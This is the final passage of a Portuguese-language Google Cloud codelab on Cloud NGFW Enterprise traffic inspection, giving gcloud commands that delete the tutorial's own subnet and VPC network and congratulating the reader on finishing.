Por fim, exclua a sub-rede e a rede VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. Parabéns!
Parabéns, você concluiu o codelab do Cloud NGFW Enterprise para inspeção leste-oeste e norte-sul.